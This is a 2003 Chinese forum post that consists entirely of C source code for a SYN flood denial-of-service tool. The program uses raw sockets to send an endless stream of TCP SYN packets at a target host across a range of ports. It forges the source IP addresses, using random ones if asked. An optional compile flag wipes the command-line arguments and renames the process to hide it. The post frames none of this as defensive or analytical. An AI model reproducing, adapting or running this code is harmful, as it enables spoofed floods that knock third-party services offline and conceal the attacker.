|

楼主 |
发表于 2003-10-10 14:40:09
|
显示全部楼层
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <time.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <arpa/inet.h>
- #include <errno.h>
- #include <fcntl.h>
- #include <netdb.h>
- #include <signal.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/stat.h>
- #include <sys/uio.h>
- #include <unistd.h>
- #include <sys/wait.h>
- #include <sys/un.h>
- #include <sys/select.h>
- #include <poll.h>
- #include <strings.h>
- #include <sys/ioctl.h>
- #include <pthread.h>
- #define SEQ 0x28376839
- #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
- unsigned long send_seq, ack_seq, srcport;
- char flood = 0;
- int sock, ssock, curc, cnt;
- unsigned short
- ip_sum (addr, len)
- u_short *addr;
- int len;
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
- while (nleft > 1)
- {
- sum += *w++;
- nleft -= 2;
- }
- if (nleft == 1)
- {
- *(u_char *) (&answer) = *(u_char *) w;
- sum += answer;
- }
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
- return (answer);
- }
- void
- sig_exit (int crap)
- {
- #ifndef HEALTHY
- printf ("Signal Caught. Exiting Cleanly.\n");
- exit (crap);
- #endif
- }
- void
- sig_segv (int crap)
- {
- #ifndef NOSEGV
- printf ("Segmentation Violation Caught. Exiting Cleanly.\n");
- exit (crap);
- #endif
- }
- unsigned long
- getaddr (char *name)
- {
- struct hostent *hep;
- hep = gethostbyname (name);
- if (!hep)
- {
- fprintf (stderr, "Unknown host %s\n", name);
- exit (1);
- }
- return *(unsigned long *) hep->h_addr;
- }
- void
- send_tcp_segment (struct iphdr *ih, struct tcphdr *th, char *data, int dlen)
- {
- char buf[65536];
- struct
- {
- unsigned long saddr, daddr;
- char mbz;
- char ptcl;
- unsigned short tcpl;
- }
- ph;
- struct sockaddr_in sin;
- ph.saddr = ih->saddr;
- ph.daddr = ih->daddr;
- ph.mbz = 0;
- ph.ptcl = IPPROTO_TCP;
- ph.tcpl = htons (sizeof (*th) + dlen);
- memcpy (buf, &ph, sizeof (ph));
- memcpy (buf + sizeof (ph), th, sizeof (*th));
- memcpy (buf + sizeof (ph) + sizeof (*th), data, dlen);
- memset (buf + sizeof (ph) + sizeof (*th) + dlen, 0, 4);
- th->check = ip_sum (buf, (sizeof (ph) + sizeof (*th) + dlen + 1) & ~1);
- memcpy (buf, ih, 4 * ih->ihl);
- memcpy (buf + 4 * ih->ihl, th, sizeof (*th));
- memcpy (buf + 4 * ih->ihl + sizeof (*th), data, dlen);
- memset (buf + 4 * ih->ihl + sizeof (*th) + dlen, 0, 4);
- ih->check = ip_sum (buf, (4 * ih->ihl + sizeof (*th) + dlen + 1) & ~1);
- memcpy (buf, ih, 4 * ih->ihl);
- sin.sin_family = AF_INET;
- sin.sin_port = th->dest;
- sin.sin_addr.s_addr = ih->daddr;
- if (sendto
- (ssock, buf, 4 * ih->ihl + sizeof (*th) + dlen, 0, (struct sockaddr *)&sin,
- sizeof (sin)) < 0)
- {
- printf ("Error sending syn packet.\n");
- perror ("");
- exit (1);
- }
- }
- void
- spoof_open (unsigned long my_ip, unsigned long their_ip, unsigned short port)
- {
- struct iphdr ih;
- struct tcphdr th;
- char buf[1024];
- struct timeval tv;
- ih.version = 4;
- ih.ihl = 5;
- ih.tos = 0;
- ih.tot_len = sizeof (ih) + sizeof (th);
- ih.id = htons (random ());
- ih.frag_off = 0;
- ih.ttl = 30;
- ih.protocol = IPPROTO_TCP;
- ih.check = 0;
- ih.saddr = my_ip;
- ih.daddr = their_ip;
- th.source = htons (srcport);
- th.dest = htons (port);
- th.seq = htonl (SEQ);
- th.doff = sizeof (th) / 4;
- th.ack_seq = 0;
- th.res1 = 0;
- th.fin = 0;
- th.syn = 1;
- th.rst = 0;
- th.psh = 0;
- th.ack = 0;
- th.urg = 0;
- th.window = htons (65535);
- th.check = 0;
- th.urg_ptr = 0;
- gettimeofday (&tv, 0);
- send_tcp_segment (&ih, &th, "", 0);
- send_seq = SEQ + 1 + strlen (buf);
- }
- void
- upsc ()
- {
- int i;
- char schar;
- switch (cnt)
- {
- case 0:
- {
- schar = '|';
- break;
- }
- case 1:
- {
- schar = '/';
- break;
- }
- case 2:
- {
- schar = '-';
- break;
- }
- case 3:
- {
- schar = '\\';
- break;
- }
- case 4:
- {
- schar = '|';
- cnt = 0;
- break;
- }
- }
- printf ("[H[1;30m[[1;31m%c[1;30m][0m %d", schar, curc);
- cnt++;
- for (i = 0; i < 26; i++)
- {
- i++;
- curc++;
- }
- }
- void
- init_signals ()
- {
- signal (SIGHUP, sig_exit);
- signal (SIGINT, sig_exit);
- signal (SIGQUIT, sig_exit);
- signal (SIGILL, sig_exit);
- signal (SIGTRAP, sig_exit);
- signal (SIGIOT, sig_exit);
- signal (SIGBUS, sig_exit);
- signal (SIGFPE, sig_exit);
- signal (SIGKILL, sig_exit);
- signal (SIGUSR1, sig_exit);
- signal (SIGSEGV, sig_segv);
- signal (SIGUSR2, sig_exit);
- signal (SIGPIPE, sig_exit);
- signal (SIGALRM, sig_exit);
- signal (SIGTERM, sig_exit);
- signal (SIGCHLD, sig_exit);
- signal (SIGCONT, sig_exit);
- signal (SIGSTOP, sig_exit);
- signal (SIGTSTP, sig_exit);
- signal (SIGTTIN, sig_exit);
- signal (SIGTTOU, sig_exit);
- signal (SIGURG, sig_exit);
- signal (SIGXCPU, sig_exit);
- signal (SIGXFSZ, sig_exit);
- signal (SIGVTALRM, sig_exit);
- signal (SIGPROF, sig_exit);
- signal (SIGWINCH, sig_exit);
- signal (SIGIO, sig_exit);
- signal (SIGPWR, sig_exit);
- }
- int
- main (int argc, char **argv)
- {
- int i, x, max, floodloop, diff, urip, a, b, c, d;
- unsigned long them, me_fake;
- unsigned lowport, highport;
- char *junk;
- init_signals ();
- #ifdef HIDDEN
- for (i = argc - 1; i >= 0; i--)
- memset (argv[i], 0, strlen (argv[i]));
- strcpy (argv[0], HIDDEN);
- #endif
- if (argc < 5)
- {
- printf ("Usage: %s srcaddr dstaddr low high\n", argv[0]);
- printf (" If srcaddr is 0, random addresses will be used\n\n\n");
- exit (1);
- }
- if (atoi (argv[1]) == 0)
- urip = 1;
- else
- me_fake = getaddr (argv[1]);
- them = getaddr (argv[2]);
- lowport = atoi (argv[3]);
- highport = atoi (argv[4]);
- srandom (time (0));
- ssock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
- if (ssock < 0)
- {
- perror ("socket (raw)");
- exit (1);
- }
- sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);
- if (sock < 0)
- {
- perror ("socket");
- exit (1);
- }
- junk = (char *) malloc (1024);
- max = 1500;
- i = 1;
- diff = (highport - lowport);
- if (diff > -1)
- {
- printf
- ("[H[J\n\nshangxd.");
- for (i = 1; i > 0; i++)
- {
- srandom ((time (0) + i));
- srcport = getrandom (1, max) + 1000;
- for (x = lowport; x <= highport; x++)
- {
- if (urip == 1)
- {
- a = getrandom (0, 255);
- b = getrandom (0, 255);
- c = getrandom (0, 255);
- d = getrandom (0, 255);
- sprintf (junk, "%i.%i.%i.%i", a, b, c, d);
- me_fake = getaddr (junk);
- }
- spoof_open (me_fake, them, x);
- usleep (300);
- if (!(floodloop = (floodloop + 1) % (diff + 1)))
- {
- upsc ();
- fflush (stdout);
- }
- }
- }
- }
- else
- {
- printf ("High port must be greater than Low port.\n");
- exit (1);
- }
- return 0;
- }
复制代码 |
|